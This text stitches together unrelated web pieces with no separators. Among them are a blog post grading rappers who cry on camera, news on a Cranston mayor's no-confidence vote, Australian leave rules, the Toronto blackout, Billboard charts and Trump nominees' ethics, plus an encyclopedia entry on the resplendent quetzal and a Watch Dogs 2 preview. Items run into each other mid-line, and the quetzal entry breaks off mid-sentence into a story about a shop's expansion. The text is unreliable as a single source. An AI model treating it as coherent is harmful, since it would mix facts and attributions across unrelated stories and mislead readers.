Category B Lupe Fiasco
http://www.youtube.com/watch?v=HjGGMUspJ7w
In an interview on RapFix Live, Sway presented Lupe with a video from 2006 called “My Block Chicago,” where Lupe gave MTV a tour of his neighborhood. At the end of the video, Lupe was crying full fledged tears. After collecting himself, he explained that some of his friends in the video had passed away, calling them “ghosts.” He also explains his feelings of hopelessness, as he has built his career on trying to change the environment and ideas of where he came, but it has only stayed the same. Although these tears may not be outwardly manly, they are justified, honest and caring about his community.
Category A Young Buck
http://www.youtube.com/watch?v=vl0y6R6uYSg
G-Unit, the self-proclaimed gangsters, have had the most high-school drama in hip-hop history. In this scenario, ex-Gossip-Unit member Young Buck calls 50 cent to apologize. Through muffled tears, he manages to suck up to 50, repeating the phrase, “I’m so confuuussed.” Like the bitchy head of the clique he is, 50 recorded the phone conversation and put it on the internet. O-M-G. Clearly, this is a case of,
Category B The Game
http://www.dailymotion.com/video/x6gt54_the-game-rapper-crying-because-of-c_music#.UO9N7qFU4oY
Sean Bell was shot 51 times by three policemen, the day before his wedding. After a trial, the policemen were acquitted with no charges. The Game was rightfully upset by this incident, and wanted to gather a bunch of rappers together to speak out against the corrupt police. Unfortunately, nobody hopped on the song with the Game, leading to these tears. One has to wonder, did the rappers he asked really not want to support Sean Bell, or did they just not want to hop on another posse track with The Game? In any case, he makes some good points in the video, and although his threats of retirement were hollow, his tears were justified.
Category A Maino
http://www.youtube.com/watch?v=BicdwhqwTHg
It seems like police brutality and rapper’s tears really go hand-in-hand. Maino’s best friend, 80, was shot in the back by policemen and is paralyzed for the rest of his life. After finding this unfortunate news out on tour, Maino dedicated his performance of his single, “All the Above” to his friend. Pretty inspirational and emotional stuff.
Category A Big Sean
http://www.worldstarhiphop.com/videos/video.php?v=wshh8Kd6iNEm8nCD7Z7m
Big Sean really likes being famous. In every song, it seems there is a reference to “finally making it.” When he was confronted by a group of loyal fans in Toronto, he began to cry. For repetitive subject matter and a limited emotional range, Big Sean is rewarded with a
Category B DMX
http://www.youtube.com/watch?v=GszIUgkqWIM
DMX never had a relationship with his mom. On a TV show
called “Couples Therapy,” the rugged hustler showed his softer side. For acknowledging that his life is still blessed even without a mother, and for having the most original and hilarious sounding cry, DMX earns himself a,
Category A Kanye West
http://www.youtube.com/watch?v=A6bgSITBrVQ
Such a dick move by Jay Leno.
Category A Lil' Mama
(around 19:15)
http://www.youtube.com/watch?v=SDYkd4dEqws
During an interview with the Breakfast Club, Charlamagne and DJ Envy continuously railed Lil Mama about the incident where she hopped on stage during Jay-Z and Alicia’s performance of “Empire State of Mind.” Although I do admit, that was a wack move, her tears were actually elicited from talking about her mother’s cancer. Surprisingly, she keeps it all the way real and calls out Charlamagne for his bullshit.
Category A Drake
http://flight-city.tumblr.com/post/15412005433
Pure Lotion
Category B
So, what have we learned from the tears of these rappers? In my opinion, hip-hop is progressing, and a social experiment like Lil B proves that hip-hop is making it cool to be emotional again. Ten years ago, mainstream rappers were prototypes, equipped with violence and misogyny. Now, there is more of a balance. Shit, as the hottest gangsta rapper right now, Future’s style IS crying. Sure, there is an influx of “soft” rappers who are capitalizing off the weak emotions of pre-teens and drunk people. But for every Drake, there is a Kendrick Lamar, Ab-Soul, Danny Brown, or Blu, who balance emotion with introspection to create a deeper message in their music. So cry on rappers, cry on. And if hip-hop doesn’t accept you afterwards, at least the Based God still loves you.
Peace,
-FrakCopyright by WPRI - All rights reserved
Associated Press with Annie Shalvey; Video reporting by Chantee Lans - PROVIDENCE, R.I. (AP/WPRI) — The Cranston City Council voted Monday on a resolution expressing no confidence in Republican Mayor Allan Fung's leadership, after the state police issued a scathing report on his handling of the city's police department.
Eyewitness News was at the meeting when the council voted 5-4 to pass the resolution.
Fung's chief-of-staff has called the resolution political grandstanding.
The report accused Fung of interfering with the department amid his run as Republican nominee for governor last year. Fung acknowledged he made mistakes but also said he was misled by department leaders.
Eyewitness News spoke with the mayor ahead of Monday's meeting. He said he will not be present during the vote - but that his track record speaks for itself
"What we're talking about in that police assessment that occurred were issues that have been ongoing for generations and fortunately we have taken a step to fix these problems," he said. "You can see all of the progress we've made. In fact, Standard and Poor has us at its highest bond rating that the city has experienced in nearly two decades."
Council President John Lanni introduced the proposed the 'no confidence' resolution and two councilmen who claim they were targeted during the ticket scandal said they will both in favor of it.
The proposed resolution expresses concern about the findings, and states Fung failed to provide clear and accurate reasons and rationales for his decisions.
Fung previously said he was not nervous about the vote, though.
"I trust and put my faith in the voters and residents of the city of Cranston. That's who I'm concerned with."
He was not in attendance at the meeting, but called the resolution a political move.
Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.I seem to average about 2 friends surviving breast cancer a year. I don’t know anyone who hasn’t beaten it yet, but it’s a rough year and people keep doing battle with the monster. This mandala was actually drawn in honor of my mother-in-law’s victory, which was several years ago, but I probably know 10 people who’ve dealt with it since then.
It’s a good thing a strong mandala came up today, because I don’t feel wholly prepared to start up another year of webcomics and art blogging. This is because I had what I think of as a “mom vacation,” which means that everyone around me is on vacation and my workload actually doubles because everyone’s around all the time and everyone needs things from me and by the end of the day I’m too intellectually worn out to actually create anything, which then enervates me even more. So, since I can’t afford to go away for a couple days by myself and sit in absolute silence without taking care of other people, my “vacation” will actually be going back to business as usual.
Maybe I’ll draw a comic about it. Or maybe I’ll use the ridiculous gag my brother sent me yesterday, because who doesn’t like lame, esoteric puns?
I’ve also got a New Year’s bulletin board to hang. And about ten thousand other things to do.
So it’s even odds as to whether tomorrow you’ll get a comic or some macro photography. It’s such a massive surprise even I don’t know.
AdvertisementsBosses welcome Fair Work Commission decision on forcing employees to take leave
Updated
Workers could be asked to take enforced holiday leave if they accrue more than eight weeks under a ruling by the Fair Work Commission.
The commission has changed working conditions across almost 120 awards and will allow employees to also cash out up to two weeks of holiday pay a year if both parties agree.
Workers can also be granted holidays before they have accrued them under the new system.
The Australian Industry Group (AIG) welcomed the ruling, describing it as a sensible decision to give them more flexibility.
"Employers will have enhanced rights to direct employees to take annual leave when an excessive amount has been accrued," said AIG chief executive Innes Willox.
"The lack of existing rights in this area has been a major headache for employers," Mr Willox said.
The commission heard that workers hoarding holiday leave had presented major cash flow problems for small business when workers resigned.
Fair Work Commission rulings Employers can force their employees to use some leave if they have accrued more than eight weeks. Employers will also be allowed to cash out up to two weeks of holiday pay a year if parties agree. In certain circumstances employees will be able to take leave before accruing it. Holiday pay will be permitted via regular electronic transfer, instead of any obligation to pay upfront.
The Australian Council of Trade Unions (ACTU) voiced concern about workers cashing out their holidays.
The ACTU submission stated: "We strongly agree that employees should be taking leave for their rest and recreation and also for occupational health and safety reasons."
A survey presented to the commission found that 41 per cent of employees accrued leave to save the time for a future holiday, 13 per cent could not get time off work that suited them, 30 per cent were too busy at work to get leave, 9 per cent preferred to work than be on holidays, while around 7 per cent preferred to take the money than the holiday.
John Buchanan, director of Workplace Research Centre at the University of Sydney, described the ruling as being about "new rights for business, not for workers".
"[This is a] a piecemeal change... that undermines the standards for workers who get leave directly," he said.
Professor Buchanan said half of Australia's workers, both self-employed and casuals, earned no holidays at all.
"What are we doing about getting people to spend more time with friends and family?" Professor Buchanan said.
"What are we doing about leave entitlements for everyone?"
Topics: work, business-economics-and-finance, nsw
First postedFranklin Graham (Fox News/screen grab)
Rev. Franklin Graham on Thursday lashed out at Rosie O’Donnell’s assertion that House Speaker Paul Ryan is going to hell because he helped push through a Republican tax cut bill that largely benefits corporations and the wealthy.
In a Christmas Eve tweet, O’Donnell called Ryan a “fake alter boy” because he preached about Jesus even though Christ would have opposed the inequity of the tax cut law.
At the end of each year, no matter how short—or long—it may feel, there is always Christmas. Waiting for us is that sense of wonder the shepherds felt when the angels appeared in the night sky to herald the birth of a Savior. pic.twitter.com/oFdj7EIyzS — Paul Ryan (@SpeakerRyan) December 23, 2017
paul ryan – don't talk about Jesus after what u just did to our nation – u will go straight to hell u screwed up fake altar boy #JUDASmuch https://t.co/gJ8VreyxAX
— ROSIE (@Rosie) December 25, 2017
“[P]aul ryan – don’t talk about Jesus after what u just did to our nation,” O’Donnell wrote on Twitter. “[You] will go straight to hell u screwed up fake altar boy.”
“I’m glad to know that Rosie is a fundamentalist,” Graham told the hosts of Fox & Friends on Thursday. “She believes in hell. So many people don’t believe in hell. Jesus preached on hell. He taught of hell.”
“But I wanted Rosie to know she didn’t have the keys to hell,” he continued. “Only Jesus Christ has those. And the Bible says we’re all sinners and the price for sin is death, it’s hell.”
Graham added that O’Donnell does not “have to go to hell” if she repents before Christ.
“And so, Rosie, if you’re watching, I hope you put your faith and trust in Christ,” he opined. “Because he will forgive your sins and heal your heart.”
Watch the video below from Fox News.Dr. Vanesa Stillman thought she was ready when a thin man, likely in his mid-50s, sat down at her dental chair during the Remote Area Medical event last year.
But his request took her by surprise, and reminded her of why she was volunteering there as a dentist.
Medical professionals needed PROFESSIONALS NEEDED BY
DEPARTMENT: Dental: Dentists, oral surgeons, dental hygienists, dental assistants. Vision: Optometrists, ophthalmologists, optometric techs, ophthalmic techs and opticians. Medical: MDs, DOs, physician assistants, nurse practitioners, podiatrists and athletic trainers. Triage: Registered nurses, paramedics, AEMTs, and LPNs. TO VOLUNTEER To volunteer for RAM, call 526-4766 or visit ramusa.org/volunteer.
“He sat down and said, ‘I need all my teeth out,’” Stillman recalled.
The man had throat cancer and needed all his 15 teeth pulled first to help avoid complications from surgery and chemotherapy treatments. He had been approved for surgery, but he didn’t have the money needed for teeth extraction.
For that job, Stillman found a volunteer oral surgeon to fill the request, and the moment showed her how valuable rendering her professional services could be.
Remote Area Medical, which provides free mobile clinics that deliver vision, dental and medical services to anyone who does not have access to a doctor, will host its third free clinic Nov. 11-12, at Manatee Technical College, 6305 State Road 70 E., Bradenton.
RAM needs volunteers, particularly physicians, dentists and optometrists. The number of patients served directly correlates with the number of health care providers who volunteer their time and talents.
Over the past two years, the RAM clinic in Bradenton has served more than 2,000 patients, but hundreds were turned away each year because of a lack of health care providers.
“We’re expecting over 2,000 patients at this year’s clinic, and it is my goal to have enough dental and vision practitioners to treat everyone who comes to us in need,” said Dr. Richard Conard, chairman of the Manatee County RAM Host Committee. “We have put a lot of time and effort into recruiting these folks, and we hope to far exceed the number of professional volunteers we had in past years.”
RAM Vice Co-Chair Lori Dengler of East County said even people who may have some kind of health insurance often do not have vision or dental insurance. “Even Medicare patients who have coverage to get their vision exam may not have the funds to purchase glasses,” she said.
Need medical help? Anyone needing health care services may participate in a RAM clinic. At the clinic venue, RAM volunteers begin handing out numbers at 3 a.m. of clinic days and patients are seen on a first-come, first-served basis. Parking lots open at midnight the night before the event. RAM suggests patients bring all of the medications they take every day. For information, visit ramusa.org.
Dengler said each patient can receive two of three services offered. General medical typically accounts for about 400 of 1,000 patient visits, she said.
Stillman said her experience volunteering with RAM the past two years has been invigorating, serving as a time to connect with other health care professionals, to treat patients without the hassle of paperwork or to not worry about staffing issues.
“It’s huge,” Stillman said of being able to help. “(These patients) are not abusing the system. It’s the part of the population group that slips through the cracks. What I do can make a difference.”There is no word yet about what may have caused Tuesday night's massive blackout that plunged much of Toronto's west end into darkness, leaving thousands without power just as the weather made a sharp drop into sub-zero temperatures.
Most reported losing power at around 9 p.m. Tuesday. At its peak, the blackout covered an area bordered by Yonge Street, Lawrence Avenue, the Mississauga boundary, and Dupont Street according to Hydro One. Though neighbourhoods further south and east were also said to have been affected, including High Park, Bloor West Village, Liberty Village, the Beaches and the University of Toronto.
Power was restored shortly before 11 p.m., according to Hydro One.
Hydro One officials said late Tuesday that crews were still working on the system, but they do not know what may have caused the outage.
"The cause of the outage is currently under investigation," the company said in a statement. "There were no injuries or health and safety issues reported due to the incident."
Hydro One earlier said the blackout was due to a problem in its transmission system.
The lights went out at around 9:30 p.m. Shortly after 10 p.m. there were reports that power was back on in some of the affected areas, though much of the west end remained dark.
Subway service — which had been partly knocked out on the Bloor-Danforth line — was restored at about 11 p.m. according to the TTC.
Toronto Fire Service said it freed people from as many as a dozen stalled elevators across the affected area. Four or five alarms also went off due to pressure failures in water systems and other complications, TFS said.
On Twitter, the #darkto hashtag popularized during the extended blackout that followed last year's ice storm quickly filled up with status reports, quips and photos of darkened streets, subways and Passover dinners.This article is about the bird. For the short story, see The Resplendent Quetzal
The resplendent quetzal ( ) (Pharomachrus mocinno) is a bird in the trogon family. It is found from Chiapas, Mexico to western Panama (unlike the other quetzals of the genus Pharomachrus, which are found in South America and eastern Panama). It is well known for its colorful plumage. There are two subspecies, P. m. mocinno and P. m. costaricensis.
The resplendent quetzal plays an important role in various types of Mesoamerican mythology. It is the national bird of Guatemala, and its image is found on the country's flag and coat of arms. It also lends its name to the country's currency, the Guatemalan quetzal (abbreviation GTQ).
Taxonomy [ edit ]
The resplendent quetzal was first described by Mexican naturalist Pablo de La Llave in 1832. It is one of five species of the genus Pharomachrus known as quetzals. The term "quetzal" was originally used for just this species, but is now applied to all members of the genera Pharomachrus and Euptilotis.
Two subspecies are recognised, P. m. mocinno and P. m. costaricensis. The epithet mocinno is Llave's Latinization of the name of the biologist J. M. Mociño, a mentor of his. (It is sometimes spelled mocino, but "ñ" was formerly spelled "nn" in Spanish, so the spelling with "nn" is justified and in any case now official.[3][4])
The word "quetzal" came from Nahuatl (Aztec), where quetzalli (from the root quetza = "stand") meant "tall upstanding plume" and then "quetzal tail feather"; from that Nahuatl quetzaltotōtl means "quetzal-feather bird" and thus "quetzal".[5]
Description [ edit ]
This species is 36 to 40 cm (14–16 in) long, plus up to 65 cm (26 in) of tail streamer for the male, and weighs about 210 g (7.4 oz). It is the largest representative of the trogon order.[6] The subspecies costaricensis is slightly smaller than the nominate race, with tail plumes that are both shorter and narrower.
Resplendent quetzals have a green body (showing iridescence from green-gold to blue-violet) and red breast. Depending on the light, quetzal feathers can shine in a variant of colors: green, cobalt, lime, yellow, to ultramarine.[7] Their green upper tail coverts hide their tails and in breeding males are particularly splendid, being longer than the rest of the body. Though quetzal plumages appear green, they are actually brown due to the melanin pigment.[8] The primary wing coverts are also unusually long and give a fringed appearance. The male has a helmet-like crest. The bill, which is partly covered by green filamentous feathers, is yellow in mature males and black in females. Their iridescent feathers, which causes them to appear shiny and green like the canopy leaves, are a camouflage adaptation to hide within the canopy during rainy weather.[7][7]
The skin of the quetzal is very thin and easily torn, so it has evolved thick plumage to protect its skin.[citation needed] Like other members of the trogon family, it has large eyes that adapt easily to the dim light of its forest home.[citation needed]
The "song" is a treble syllable described as kyow or like "a whimpering pup", often in pairs, which may be repeated monotonously. Resplendent quetzals have other unmusical calls as well.
Distribution and habitat [ edit ]
Their habitat is montane cloud forest from Southern Mexico to western Panama.
Behavior [ edit ]
Resplendent quetzals are weak fliers. Their known predators include the ornate hawk-eagle, golden eagle, and other hawks and owls as adults, emerald toucanets, brown jays, long-tailed weasels, squirrels, and the kinkajou as nestlings or eggs.[9]
Feeding [ edit ]
A resplendent quetzal found in the Talamanca cloud forests of Costa Rica
Resplendent quetzals are considered specialized fruit-eaters, although they mix their diet with insects (notably wasps, ants, and larvae), frogs and lizards.[10] Particularly important are wild avocados and other fruit of the laurel family, which the birds swallow whole before regurgitating the pits, which helps to disperse these trees. Quetzals feed more frequently in the midday hours.[11] The adults eat a more fruit-based diet than the chicks, who eat primarily insects and some fruits.[11] Over fifty percent of the fruit they eat come from the Lauraceae family.[12] Quetzals use the methods of "hovering" and "stalling" in order to selectively pick the fruit near the tips of the branches.[11]
Breeding [ edit ]
Resplendent quetzals create their nests over 200 feet up in the air and court in the air with specific calls.[7] Six specific vocal calls have been recorded: the two-note whistle, gee-gee, wahc-ah-wahc, wec-wec, coouee whistle, uwac, chatter, and buzzing.[7] The first call is related to male territorial behavior, while the coouee whistle is identified as a mating call.[7][7] Resplendent quetzals usually live alone when not breeding. They are monogamous territorial breeders, with the territory size being measured in Guatemala as 6–10 ha (15–25 acres). They are also seasonal breeders, with the breeding season being March to April in Mexico, May to June in El Salvador and March to May in Guatemala.[13] When breeding, females lay two pale blue eggs in a nest placed in a hole which they carve in a rotten tree. Resplendent quetzals tend to lay two clutches per year and are known to have a high rate of nest failure, around 70 percent.[14] A tree in the required stage of decomposition is susceptible to weather damage, and the availability of suitable trees may limit the resplendent quetzal population.
Both parents take turns at incubating, with their long tail-covert feathers folded forwards over the back and out of the hole, where they tend to look like a bunch of fern growing out of the hole. The incubation period lasts about 18 days, during which the male generally incubates the eggs during the day while the female incubates them at night. When the eggs hatch, both parents take care of the young, feeding them fruit, berries, insects, lizards, and small frogs. However, the female often neglects and even abandons the young near the end of the rearing period, leaving it up to the male to continue caring for the offspring until they are ready to survive on their own.
During the incubation period, when a parent approaches the nest hole, they land and rotate their head side to side before entering, otherwise known as "bowing in".[7] This process ends when the chicks hatch |
. The 1,800-square-foot space will be split into two shops, Johnson said.
Buy Photo Jason Brown, co-owner of Red Arrow Workshop, checks out a customer's purchase in the shop in Lafayette. Red Arrow Workshop is partnering with the Acadiana Center for the Arts to establish a gift shop inside of the center to be opened in September. (Photo: Paul Kieu, The Advertiser)
The couple has had their sights set on expanding to New Orleans for some time, Johnson said.
"Every time we go there and we do festivals, we get such a great response on our product," she said. "There is so much enthusiasm from people. We love to visit New Orleans and spend time there. I think we've always had the goal of expanding in that direction eventually. We were sort of casually just looking and we found this space, and it just seemed perfect for both shops."
Both new Parish Ink and Red Arrow stores will continue to highlight Louisiana's culture. The 3926 Magazine Street shop, which is set to open in September, will cater a bit more to the Crescent City, Johnson said.
"But we definitely want to stay Cajun in the things that we are offering," Johnson said. "There are lot of people from Acadiana that live in New Orleans that would love to have the opportunity to shop with us there and express that side of South Louisiana culture."
Red arrow Workshop is partnering with the AcA. (Photo: submitted)
Read or Share this story: https://www.theadvertiser.com/story/news/local/2014/07/31/red-arrow-workshop-aca/13417653/The Lumineers nab their first No. 1 album on the Billboard 200 chart with Cleopatra. The set starts atop the chart with 125,000 equivalent album units earned in the week ending April 14, according to Nielsen Music. Of that sum, 108,000 were in traditional album sales.
The Lumineers Talk Unexpected Success and Returning to Their Roots With New Album 'Cleopatra'
The Billboard 200 chart ranks the most popular albums of the week in the U.S. based on multi-metric consumption, which includes traditional album sales, track equivalent albums (TEA) and streaming equivalent albums (SEA). The new April 23-dated chart (where Cleopatra is No. 1) will be posted in full to Billboard’s websites on Tuesday, April 19.
Cleopatra is The Lumineers’ second album, and was released through Dualtone Records on April 8. It follows the trio’s breakthrough self-titled debut album, which was released in 2012 and rose to No. 2 on the chart the following year. It has sold 1.7 million copies, thanks in large part to the popularity of its hit song "Ho Hey." The track peaked at No. 3 on the Billboard Hot 100.
Cleopatra’s lead single, “Ophelia,” has spent six weeks at No. 1 on the Adult Alternative Songs chart, and has so far peaked at No. 78 on the Hot 100.
The band’s Cleopatra World Tour kicked off April 14 in Bristol, England, and heads to the U.S. on May 21, playing Houston’s White Oak Music Hall. The trek continues through America until June 19, and then heads back to Europe.
The Lumineers Set for First No. 1 Album on Billboard 200 Chart With 'Cleopatra'
Rock band Deftones nab their fifth top 10 set and highest charting album since 2003, as Gore starts at No. 2 with 71,000 units (69,000 in pure album sales). It’s their first release since 2012’s Koi No Yokan debuted and peaked at No. 11 (65,000 in sales) and their highest charting since their self-titled third album bowed and peaked at No. 2 on the June 7, 2003-dated list. Gore also gives the group their best sales week since 2006’s Saturday Night Wrist arrived with 76,000 sold.
The new album’s current single, “Prayers/Triangles,” has reached No. 10 on the Mainstream Rock Songs airplay chart. It marked their fifth top 10 effort on the tally.
Billboard 200 Chart Moves: Cheap Trick Returns to Top 40 After 27 Years
Chris Stapleton’s Traveller dips 2-3 with 48,000 units (down 34 percent), while Kanye West’s The Life of Pablo descends 1-4 with 47,000 units (down 50 percent). The album fell 95 percent in traditional album sales, falling from a 28,000 start to a little more than 1,000 copies sold. (Much of its first week sales were bolstered by pre-orders not delivered until after the album saw a wide release on April 1. Those pre-orders were sold as part of a ticket/album bundle to his Yeezy 3 fashion show held at Madison Square Garden and screened via a live stream in movie theaters. The remaining sales were from Tidal and West’s official website.)
Rihanna’s Anti climbs one rung to No. 5 (44,000 units; down 9 percent), Justin Bieber’s Purpose rises 8-6 (38,000 units; down 10 percent) and Twenty One Pilots’ Blurryface bolts 10-7 (33,000 units; up 11 percent).
Zayn’s Mind of Mine slips 7-8 (31,000 units; down 30 percent), Adele’s 25 is steady at No. 9 (30,000 units; down 17 percent) and Lukas Graham’s self-titled effort slides 3-10 (27,000 units; down 55 percent).Why? We've offered an alternative to austerity and have refused to pander to racism, writes Diane Abbott.
Not only is Corbyn leaping ahead in the polls and encouraging a mass exodus of members into the party, he’s also bucking the trend in Europe where voters are moving away from social democratic parties.
The mood at this year’s Labour conference was decidedly euphoric. Pleasure at our unexpectedly good general election performance was enhanced by the fact that so many people (including some Labour MPs) predicted that Jeremy Corbyn would lead Labour to electoral disaster.
Instead, the opposite was the case. Corbyn’s politics saved Labour from the electoral disasters that befell our sister parties in this year’s elections.
The chart below shows the respective votes for the traditional parties of the left in Europe in 2017 general elections.
In the Netherlands, in France and in Germany the social democratic parties of the traditional left received a drubbing. Labour under Corbyn got more than all their votes combined.
The French and Dutch parties both received just 6 per cent of the total votes cast. The SPD in Germany did better but gained only a little over 20 per cent – its worst showing in the post-World War II era.
The striking fact is that under Labour Jeremy Corbyn received more votes than these parties combined, 12.9 million votes compared to their combined total of 12.4 million votes.
The leadership of the Dutch, French and German left parties is not anti-austerity, unlike the Corbyn leadership of the Labour Party. They do not support the economic alternative of investment-led growth and were content to implement austerity measures.
In addition, where there has been scapegoating of minorities, migrants, black people and Muslims for the crisis, the European social democrats often did not resist and sometimes participated in it.
This is clearly wrong in principle. But for those even now telling us we must shift rightwards to win, there is a deadly riposte.
This rightwards leap on racism and immigration, which would have shamed left leaders of earlier generations, was wholly counter-productive even in electoral terms for the European parties.
It boosted the arguments of the right and their vote rose as a result. The left vote slumped. It didn’t gain ground. Hopefully, there will be some painful rethinking in Labour’s sister parties. Harsh lessons need to be learnt.
For our part, Labour needs to build on its stunning advance at this year’s general election. Lots of work needs to be done to prepare for the next election and prepare for government.
But we have laid strong foundations. It is widely recognised that Labour’s manifesto was a great success. Labour is a party in favour of prosperity through investment, not poverty via austerity. It is also a party of equality and no conceding to racism. We will build on these successes.
Diane Abbott is the Shadow Home Secretary and Labour MP for Hackney North and Stoke Newington. She tweets here.
URGENT APPEAL: We need to raise £10,000 in the next few weeks to keep holding the right to account. Help us build a better media and back the crowdfunder to keep Left Foot Forward's progressive journalism alive.Image copyright Getty Images
Donald Trump will hold his first press conference in almost six months on Wednesday, to talk about plans to avoid conflicts of interest involving his sprawling business empire while he's president.
Meanwhile the US Congress is reviewing the nominations of a series of his top political nominees who are facing their own ethical questions, and concerns continue to swirl around several other high-level advisers.
While Mr Trump will dominate the headlines, here's a look at some of the controversies that could dog those poised to serve under him.
An ethical office thwarted
Walter M Shaub, director of the Office of Government Ethics, has sent a letter to congressional leaders saying that his agency has been overwhelmed by the task of certifying Mr Trump's Cabinet nominees, some of whom have yet to provide investigators with preliminary paperwork.
"This schedule has created undue pressure on OGE's staff and agency ethics officials to rush through these important reviews," Shaub wrote. "More significantly, it has left some of the nominees with potentially unknown or unresolved ethics issues shortly before their scheduled hearings."
He says he can't recall another time in his office's 40-year history that a hearing has been held before the review process has been completed.
Democrats have pointed to the letter as grounds for delaying the series of hearings - six on Wednesday alone - for Mr Trump's nominees. Senate Minority Leader Chuck Schumer went so far as to circulate a 2009 letter by then-Senate Minority Leader Mitch McConnell stating that all Obama administration nominees must complete an ethics office review prior to Senate consideration.
Mr McConnell has rebuffed postponement requests so far, however.
Nominees with unresolved issues
The distress expressed by the ethics office official has exacerbated some of the concerns over a number of top-level Trump appointees who have sprawling financial interests that could lead to conflicts of interest as they pursue their government duties.
The review process is intended to identify areas where ethic issues may arise and aid the nominees in taking measures to address them before confirmation. If this process is short-circuited, those problems could instead present themselves after the official is already in office.
Although Shaub did not single out anyone by name, among the individuals drawing particular attention are super-wealthy business chieftians Rex Tillerson (State Department), Steven Mnuchin (Treasury), Andrew Puzder (Labour) and Wilbur Ross (Commerce). According to the New York Times, the standard government disclosure forms don't have enough boxes for these billionaire tycoons to list all their financial interests.
Image copyright Getty Images Image caption Secretary of State nominee Rex Tillerson (right) will face questions about his business holdings
Details have begun to emerge on Tillerson's agreements with the ethics office, including a liquidation of $50m in personal stock from his employer, ExxonMobil, as well as his holdings in more than 150 other companies.
Betsy DeVos, a billionaire Republican activist whom Mr Trump picked for education secretary, was scheduled to appear before a Senate confirmation committee on Wednesday but had yet to detail any potential conflicts of interest with the ethics office. Her appearance has been pushed back to 17 January.
Congressman Tom Price, Mr Trump's choice for health and human services secretary, has also been criticised for trading $300,000 in healthcare stocks since 2012 while serving on congressional committees overseeing the healthcare industry. In one instance, he reportedly bought shares of a medical device manufacturer days before he introduced legislation that benefitted the company.
Trump transition officials say the move was made by Mr Price's broker without his knowledge and that he will sell any such financial holdings following his confirmation as health secretary.
Even Elaine Chao, wife of Senate Majority Leader McConnell and a Cabinet secretary in the George W Bush administration, has faced some conflict-of-interest allegations following her nomination to be transportation secretary. Her family owns a shipping business that relies on vessels that fly under the flags of Liberia and Hong Kong - a practice that a US transportation secretary is charged with discouraging.
Image copyright Getty Images Image caption Donald Trump often turns to son-in-law Jared Kushner for political advice
An in-law with the president's ear
Jared Kushner, who is married to Ivanka Trump, will become a senior adviser in his father-in-law's White House.
Although Mr Kushner served as a close confidant to Mr Trump during his presidential campaign, an official position in the Trump administration was thought by many to run counter to anti-nepotism laws dating back to the 1960s.
According to media reports, however, Trump team lawyers believe they have found a way around those restrictions, which they say only covers government "agencies" and not the office of the White House. Kushner will also work in the White House without drawing a government salary.
Mr Kushner, who like Mr Trump is involved heavily in New York area real estate, has begun divesting himself of some business considerations in preparations for a possible ethics review.
That may be easier said than done, however, given his family's vast real-estate holdings, including ties to foreign nationals investing in the US.
Either with or without an official title, however, Mr Trump was always likely to turn to his son-in-law for advice and guidance - as he has since the early days of his presidential quest.
"Kushner is emerging as an important figure at a crucial moment for some of America's most complicated diplomatic relationships," the New York Times reports, citing individuals close to the presidential transition process.
"Such is his influence in the geopolitical realm that transition officials have told the Obama White House that foreign policy matters [needing] to be brought to Mr Trump's attention should be relayed through his son-in-law."
Accusations of plagiarism
Charges of plagiarism are usually enough to bury a political appointee - particularly an outsider who doesn't have close ties to the Washington establishment. The age of Trump is no ordinary time, however.
A recent CNN Money investigation revealed that Monica Crowley, named by Mr Trump to be senior director of strategic communications for his National Security Council, had committed more than 50 instances of plagiarism in her 2012 book, What the (Bleep) Just Happened. The article compared excerpts where she apparently drew entire passages word-for-word from newspaper articles, columns and online essays.
Crowley, who was an author, radio host and conservative television commentator prior to signing on to serve in the Trump White House, is not subject to Senate confirmation, so she is less vulnerable to direct political fallout from the plagiarism charges.
"HarperCollins - one of the largest and most respected publishers in the world - published her book which has become a national bestseller," a Trump spokesperson told CNN. "Any attempt to discredit Monica is nothing more than a politically motivated attack that seeks to distract from the real issues facing this country."
HarperCollins has since announced that it will cease selling digital copies of the book.
Politico has also published a report outlining instances of plagiarism in Crowley's PhD dissertation in 2000.
On 16 January, she released a statement saying that "after much reflection" she had decided not to join the Trump administration.Hungary’s Constitutional Court on Tuesday struck down a ban on the use of symbols of fascist and communist dictatorships, including the red star and the swastika.
The decision sparked a nationwide outcry, with the government now seeking alternative ways of banning the symbols. Jewish organizations said the decision hurts all Hungarian Jews, while Hungary’s communists said the move does nothing to address the issues it fights for.
The ban was too broad and imprecise enough, the court ruled. Banning symbols of tyranny may be justified in the interest of defending human dignity and the constitutional order, but the regulations in place disproportionately restrict freedom of expression, it said.
In its Tuesday decision, the court reversed a verdict from 2000. In doing so, it pointed to the example of the European Court of Human Rights, which struck down the ban on symbols of tyranny.If you've ever played a Ubisoft open world game then you'll know the score. Assassin's Creed features towers to climb which unlock missions around you. Far Cry features towers which, again, unlock missions around you. And - guess what - Watch Dogs 1 features towers which unlock missions around you.
Watch Dogs 2, on the other hand? It's going to be a bit different.
Ubisoft's hackathon sequel was revealed just before E3 via a showy livestream video. The footage introduced us to a bright new San Francisco setting and Marcus Holloway, a new main character. We also saw souped up gadgets and expanded hacking abilities, but how the game actually played, and how different the game's new progression system is, were left under wraps.
We subsequently played Watch Dogs 2 at E3, and I was pleased to find all of the above contributed to a fresher overall experience. The quadcopter drone immediately gives you a feeling of freedom, as well as spectacular views across the San Francisco bay area. Hacking cars and quickly issuing commands is as simple as a couple of button presses. And, best of all, there was no grumpy Aiden Pearce.
I only tried a slice of action from the game, a single mission that looped me around the San Francisco tourist trap of Pier 39, but all of the above mechanics were in place. And yet - and yet - none of this matters to me if we are still doing the same things; climbing those towers, slowly clearing the map.
I caught up with Watch Dogs creative director Jonathan Morin, back again to helm the sequel, to talk about just that. In a loud and chaotic press area in the bowels of Ubisoft's E3 booth, we chatted about how his team has focused on revamping the series' focus on story and sense of progression.
"It's not a game where you open your map and everything's there," Morin says. "There are no towers. You just explore the world."
Progression in Watch Dogs 2 is not tied to story beats or to set locations (like towers) which you must take over/climb/hack/scan/set on fire/delete as Ubisoft game appropriate. It's tied to your count of virtual followers, which you collect like a kind of XP as you complete activities and make discoveries in San Francisco.
"Players start with a few followers in [hacker group] DedSec but pretty soon you realise you're going to need more if you want to pull off big operations. So you start free-roaming," Morin continues.
"Every time you get followers, it's like you're unlocking the DedSec hivemind. You're also unlocking new knowledge, new operations, new co-op missions. And then organically you hit those end-game milestones."
Watch Dogs 2's map is twice the size of Watch Dogs 1's Chicago - necessary, Morin says, to authentically replicate the city's Bay Area.
Without a focus on slow geographic progress across the city, and without the necessity to engage in a drawn-out campaign of story missions, the idea is for your San Francisco to feel more free.
